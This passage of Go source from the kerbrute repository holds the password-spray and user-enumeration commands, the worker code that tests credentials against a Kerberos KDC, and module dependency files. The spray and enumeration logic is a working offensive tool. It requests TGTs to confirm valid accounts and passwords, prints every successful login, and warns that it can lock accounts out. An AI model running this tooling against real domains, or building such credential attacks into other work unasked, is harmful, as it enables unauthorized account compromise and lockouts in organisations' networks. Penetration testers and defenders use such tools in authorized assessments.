&cobra.Command{ 21 | Use: "passwordspray [flags] ", 22 | Short: "Test a single password against a list of users", 23 | Long: `Will perform a password spray attack against a list of users using Kerberos Pre-Authentication by requesting a TGT from the KDC. 24 | If no domain controller is specified, the tool will attempt to look one up via DNS SRV records. 25 | A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce. 26 | Succesful logins will be displayed on stdout. 27 | WARNING: use with caution - failed Kerberos pre-auth can cause account lockouts`, 28 | Args: cobra.MinimumNArgs(1), 29 | PreRun: setupSession, 30 | Run: passwordSpray, 31 | } 32 | 33 | func init() { 34 | passwordSprayCmd.Flags().BoolVar(&userAsPass, "user-as-pass", false, "Spray every account with the username as the password") 35 | rootCmd.AddCommand(passwordSprayCmd) 36 | 37 | } 38 | 39 | func passwordSpray(cmd *cobra.Command, args []string) { 40 | usernamelist := args[0] 41 | if !userAsPass { 42 | if len(args) != 2 { 43 | logger.Log.Error("You must specify a password to spray with, or --user-as-pass") 44 | os.Exit(1) 45 | } else { 46 | password = args[1] 47 | } 48 | } else { 49 | password = "foobar" //it doesn't matter, won't use it 50 | } 51 | stopOnSuccess = false 52 | 53 | usersChan := make(chan string, threads) 54 | defer cancel() 55 | 56 | var wg sync.WaitGroup 57 | wg.Add(threads) 58 | 59 | var scanner *bufio.Scanner 60 | if usernamelist != "-" { 61 | file, err := os.Open(usernamelist) 62 | if err != nil { 63 | logger.Log.Error(err.Error()) 64 | return 65 | } 66 | defer file.Close() 67 | scanner = bufio.NewScanner(file) 68 | } else { 69 | scanner = bufio.NewScanner(os.Stdin) 70 | } 71 | 72 | 73 | for i := 0; i < threads; i++ { 74 | go makeSprayWorker(ctx, usersChan, &wg, password, userAsPass) 75 | } 76 | 77 | start := time.Now() 78 | 79 | Scan: 80 | for scanner.Scan() { 81 | select { 82 | case <-ctx.Done(): 83 | break Scan 84 | default: 85 | usernameline := scanner.Text() 86 | username, err := util.FormatUsername(usernameline) 87 | if err != nil { 88 | logger.Log.Debugf("[!] %q - %v", usernameline, err.Error()) 89 | continue 90 | } 91 | time.Sleep(time.Duration(delay) * time.Millisecond) 92 | usersChan <- username 93 | } 94 | } 95 | close(usersChan) 96 | wg.Wait() 97 | 98 | finalCount := atomic.LoadInt32(&counter) 99 | finalSuccess := atomic.LoadInt32(&successes) 100 | logger.Log.Infof("Done! Tested %d logins (%d successes) in %.3f seconds", finalCount, finalSuccess, time.Since(start).Seconds()) 101 | 102 | if err := scanner.Err(); err != nil { 103 | logger.Log.Error(err.Error()) 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /cmd/setup.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "os" 6 | 7 | "github.com/ropnop/kerbrute/session" 8 | "github.com/ropnop/kerbrute/util" 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | var ( 13 | domain string 14 | domainController string 15 | logFileName string 16 | verbose bool 17 | safe bool 18 | delay int 19 | threads int 20 | stopOnSuccess bool 21 | userAsPass = false 22 | 23 | downgrade bool 24 | hashFileName string 25 | 26 | logger util.Logger 27 | kSession session.KerbruteSession 28 | 29 | // Used for multithreading 30 | ctx, cancel = context.WithCancel(context.Background()) 31 | counter int32 32 | successes int32 33 | ) 34 | 35 | func setupSession(cmd *cobra.Command, args []string) { 36 | logger = util.NewLogger(verbose, logFileName) 37 | kOptions := session.KerbruteSessionOptions{ 38 | Domain: domain, 39 | DomainController: domainController, 40 | Verbose: verbose, 41 | SafeMode: safe, 42 | HashFilename: hashFileName, 43 | Downgrade: downgrade, 44 | } 45 | k, err := session.NewKerbruteSession(kOptions) 46 | if err != nil { 47 | logger.Log.Error(err) 48 | os.Exit(1) 49 | } 50 | kSession = k 51 | 52 | logger.Log.Info("Using KDC(s):") 53 | for _, v := range kSession.Kdcs { 54 | logger.Log.Infof("\t%s\n", v) 55 | } 56 | if delay != 0 { 57 | logger.Log.Infof("Delay set. Using single thread and delaying %dms between attempts\n", delay) 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /cmd/userenum.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "bufio" 5 | "os" 6 | "sync" 7 | "sync/atomic" 8 | "time" 9 | 10 | "github.com/ropnop/kerbrute/util" 11 | "github.com/spf13/cobra" 12 | ) 13 | 14 | var userEnumCommand = &cobra.Command{ 15 | Use: "userenum [flags] ", 16 | Short: "Enumerate valid domain usernames via Kerberos", 17 | Long: `Will enumerate valid usernames from a list by constructing AS-REQs to requesting a TGT from the KDC. 18 | If no domain controller is specified, the tool will attempt to look one up via DNS SRV records. 19 | A full domain is required. This domain will be capitalized and used as the Kerberos realm when attempting the bruteforce. 20 | Valid usernames will be displayed on stdout.`, 21 | Args: cobra.ExactArgs(1), 22 | PreRun: setupSession, 23 | Run: userEnum, 24 | } 25 | 26 | func init() { 27 | rootCmd.AddCommand(userEnumCommand) 28 | } 29 | 30 | func userEnum(cmd *cobra.Command, args []string) { 31 | usernamelist := args[0] 32 | usersChan := make(chan string, threads) 33 | defer cancel() 34 | 35 | var wg sync.WaitGroup 36 | wg.Add(threads) 37 | 38 | var scanner *bufio.Scanner 39 | if usernamelist != "-" { 40 | file, err := os.Open(usernamelist) 41 | if err != nil { 42 | logger.Log.Error(err.Error()) 43 | return 44 | } 45 | defer file.Close() 46 | scanner = bufio.NewScanner(file) 47 | } else { 48 | scanner = bufio.NewScanner(os.Stdin) 49 | } 50 | 51 | for i := 0; i < threads; i++ { 52 | go makeEnumWorker(ctx, usersChan, &wg) 53 | } 54 | 55 | start := time.Now() 56 | 57 | Scan: 58 | for scanner.Scan() { 59 | select { 60 | case <-ctx.Done(): 61 | break Scan 62 | default: 63 | usernameline := scanner.Text() 64 | username, err := util.FormatUsername(usernameline) 65 | if err != nil { 66 | logger.Log.Debugf("[!] %q - %v", usernameline, err.Error()) 67 | continue 68 | } 69 | time.Sleep(time.Duration(delay) * time.Millisecond) 70 | usersChan <- username 71 | } 72 | } 73 | close(usersChan) 74 | wg.Wait() 75 | 76 | finalCount := atomic.LoadInt32(&counter) 77 | finalSuccess := atomic.LoadInt32(&successes) 78 | logger.Log.Infof("Done! Tested %d usernames (%d valid) in %.3f seconds", finalCount, finalSuccess, time.Since(start).Seconds()) 79 | 80 | if err := scanner.Err(); err != nil { 81 | logger.Log.Error(err.Error()) 82 | } 83 | 84 | // result, err := kSession.TestUsername(usernamelist) 85 | // if result { 86 | // fmt.Printf("[+] %v exists!\n", usernamelist) 87 | // } 88 | // if err != nil { 89 | // fmt.Println("erro!") 90 | // fmt.Printf(err.Error()) 91 | // } 92 | // fmt.Println("Done!") 93 | } 94 | -------------------------------------------------------------------------------- /cmd/version.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/ropnop/kerbrute/util" 7 | "github.com/spf13/cobra" 8 | ) 9 | 10 | var versionCmd = &cobra.Command{ 11 | Use: "version", 12 | Short: "Display version info and quit", 13 | Run: showVersion, 14 | } 15 | 16 | func init() { 17 | rootCmd.AddCommand(versionCmd) 18 | } 19 | 20 | func showVersion(cmd *cobra.Command, args []string) { 21 | fmt.Printf("Version: %v\nCommit: %v\nBuilt: %v with %v\n", util.Version, util.GitCommit, util.BuildDate, util.GoVersion) 22 | } 23 | -------------------------------------------------------------------------------- /cmd/worker.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "sync" 7 | "sync/atomic" 8 | ) 9 | 10 | func makeSprayWorker(ctx context.Context, usernames <-chan string, wg *sync.WaitGroup, password string, userAsPass bool) { 11 | defer wg.Done() 12 | for { 13 | select { 14 | case <-ctx.Done(): 15 | break 16 | case username, ok := <-usernames: 17 | if !ok { 18 | return 19 | } 20 | if userAsPass { 21 | testLogin(ctx, username, username) 22 | } else { 23 | testLogin(ctx, username, password) 24 | } 25 | } 26 | } 27 | } 28 | 29 | func makeBruteWorker(ctx context.Context, passwords <-chan string, wg *sync.WaitGroup, username string) { 30 | defer wg.Done() 31 | for { 32 | select { 33 | case <-ctx.Done(): 34 | break 35 | case password, ok := <-passwords: 36 | if !ok { 37 | return 38 | } 39 | testLogin(ctx, username, password) 40 | } 41 | } 42 | } 43 | 44 | func makeEnumWorker(ctx context.Context, usernames <-chan string, wg *sync.WaitGroup) { 45 | defer wg.Done() 46 | for { 47 | select { 48 | case <-ctx.Done(): 49 | break 50 | case username, ok := <-usernames: 51 | if !ok { 52 | return 53 | } 54 | testUsername(ctx, username) 55 | } 56 | } 57 | } 58 | 59 | func makeBruteComboWorker(ctx context.Context, combos <-chan [2]string, wg *sync.WaitGroup) { 60 | defer wg.Done() 61 | for { 62 | select { 63 | case <-ctx.Done(): 64 | break 65 | case combo, ok := <-combos: 66 | if !ok { 67 | return 68 | } 69 | testLogin(ctx, combo[0], combo[1]) 70 | } 71 | } 72 | } 73 | 74 | func testLogin(ctx context.Context, username string, password string) { 75 | atomic.AddInt32(&counter, 1) 76 | login := fmt.Sprintf("%v@%v:%v", username, domain, password) 77 | if ok, err := kSession.TestLogin(username, password); ok { 78 | atomic.AddInt32(&successes, 1) 79 | if err != nil { // it's a valid login, but there's an error we should display 80 | logger.Log.Noticef("[+] VALID LOGIN WITH ERROR:\t %s\t (%s)", login, err) 81 | } else { 82 | logger.Log.Noticef("[+] VALID LOGIN:\t %s", login) 83 | } 84 | if stopOnSuccess { 85 | cancel() 86 | } 87 | } else { 88 | // This is to determine if the error is "okay" or if we should abort everything 89 | ok, errorString := kSession.HandleKerbError(err) 90 | if !ok { 91 | logger.Log.Errorf("[!] %v - %v", login, errorString) 92 | cancel() 93 | } else { 94 | logger.Log.Debugf("[!] %v - %v", login, errorString) 95 | } 96 | } 97 | } 98 | 99 | func testUsername(ctx context.Context, username string) { 100 | atomic.AddInt32(&counter, 1) 101 | usernamefull := fmt.Sprintf("%v@%v", username, domain) 102 | valid, err := kSession.TestUsername(username) 103 | if valid { 104 | atomic.AddInt32(&successes, 1) 105 | if err != nil { 106 | logger.Log.Noticef("[+] VALID USERNAME WITH ERROR:\t %s\t (%s)", username, err) 107 | } else { 108 | logger.Log.Noticef("[+] VALID USERNAME:\t %s", usernamefull) 109 | } 110 | 111 | } else if err != nil { 112 | // This is to determine if the error is "okay" or if we should abort everything 113 | ok, errorString := kSession.HandleKerbError(err) 114 | if !ok { 115 | logger.Log.Errorf("[!] %v - %v", usernamefull, errorString) 116 | cancel() 117 | } else { 118 | logger.Log.Debugf("[!] %v - %v", usernamefull, errorString) 119 | } 120 | } else { 121 | logger.Log.Debug("[!] Unknown behavior - %v", usernamefull) 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/ropnop/kerbrute 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/op/go-logging v0.0.0-20160315200505-970db520ece7 7 | github.com/ropnop/gokrb5/v8 v8.0.0-20201111231119-729746023c02 8 | github.com/spf13/cobra v1.1.1 9 | github.com/stretchr/testify v1.6.1 // indirect 10 | golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897 // indirect 11 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect 12 | ) 13 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 3 | cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= 4 | cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= 5 | cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= 6 | cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= 7 | cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= 8 | cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= 9 | cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= 10 | cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= 11 | cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= 12 | cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= 13 | dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= 14 | github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= 15 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 16 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= 17 | github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= 18 | github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= 19 | github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= 20 | github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= 21 | github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= 22 | github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= 23 | github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= 24 | github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= 25 | github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= 26 | github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= 27 | github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= 28 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 29 | github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= 30 | github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= 31 | github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= 32 | github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= 33 | github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= 34 | github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 35 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 36 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 37 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 38 | github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= 39 | github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= 40 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= 41 | github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I= 42 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 43 | github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= 44 | github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= 45 | github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= 46 | github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= 47 | github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= 48 | github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= 49 | github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= 50 | github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= 51 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 52 | github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 53 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 54 | github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 55 | github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= 56 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 57 | github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 58 | github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 59 | github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= 60 | github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= 61 | github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 62 | github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 63 | github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= 64 | github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= 65 | github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= 66 | github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= 67 | github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= 68 | github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= 69 | github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= 70 | github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ= 71 | github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= 72 | github.com/gorilla/sessions v1.2.0 h1:S7P+1Hm5V/AT9cjEcUD5uDaQSX0OE577aCXgoaKpYbQ= 73 | github.com/gorilla/sessions v1.2.0/go.mod h1:dk2InVEVJ0sfLlnXv9EAgkf6ecYs/i80K/zI+bUmuGM= 74 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 75 | github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= 76 | github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= 77 | github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= 78 | github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= 79 | github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= 80 | github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= 81 | github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= 82 | github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= 83 | github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= 84 | github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= 85 | github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= 86 | github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= 87 | github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= 88 | github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= 89 | github.com/hashicorp/go-uuid v1.0.1 h1:fv1ep09latC32wFoVwnqcnKJGnMSdBanPczbHAYm1BE= 90 | github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= 91 | github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE= 92 | github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= 93 | github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= 94 | github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= 95 | github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= 96 | github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= 97 | github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= 98 | github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= 99 | github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= 100 | github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= 101 | github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= 102 | github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM= 103 | github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= 104 | github.com/jcmturner/aescts/v2 v2.0.0 h1:9YKLH6ey7H4eDBXW8khjYslgyqG2xZikXP0EQFKrle8= 105 | github.com/jcmturner/aescts/v2 v2.0.0/go.mod h1:AiaICIRyfYg35RUkr8yESTqvSy7csK90qZ5xfvvsoNs= 106 | github.com/jcmturner/dnsutils/v2 v2.0.0 h1:lltnkeZGL0wILNvrNiVCR6Ro5PGU/SeBvVO/8c/iPbo= 107 | github.com/jcmturner/dnsutils/v2 v2.0.0/go.mod h1:b0TnjGOvI/n42bZa+hmXL+kFJZsFT7G4t3HTlQ184QM= 108 | github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8= 109 | github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o= 110 | github.com/jcmturner/goidentity/v6 v6.0.1 h1:VKnZd2oEIMorCTsFBnJWbExfNN7yZr3EhJAxwOkZg6o= 111 | github.com/jcmturner/goidentity/v6 v6.0.1/go.mod h1:X1YW3bgtvwAXju7V3LCIMpY0Gbxyjn/mY9zx4tFonSg= 112 | github.com/jcmturner/rpc/v2 v2.0.2 h1:gMB4IwRXYsWw4Bc6o/az2HJgFUA1ffSh90i26ZJ6Xl0= 113 | github.com/jcmturner/rpc/v2 v2.0.2/go.mod h1:VUJYCIDm3PVOEHw8sgt091/20OJjskO/YJki3ELg/Hc= 114 | github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= 115 | github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= 116 | github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= 117 | github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= 118 | github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= 119 | github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= 120 | github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= 121 | github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 122 | github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= 123 | github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= 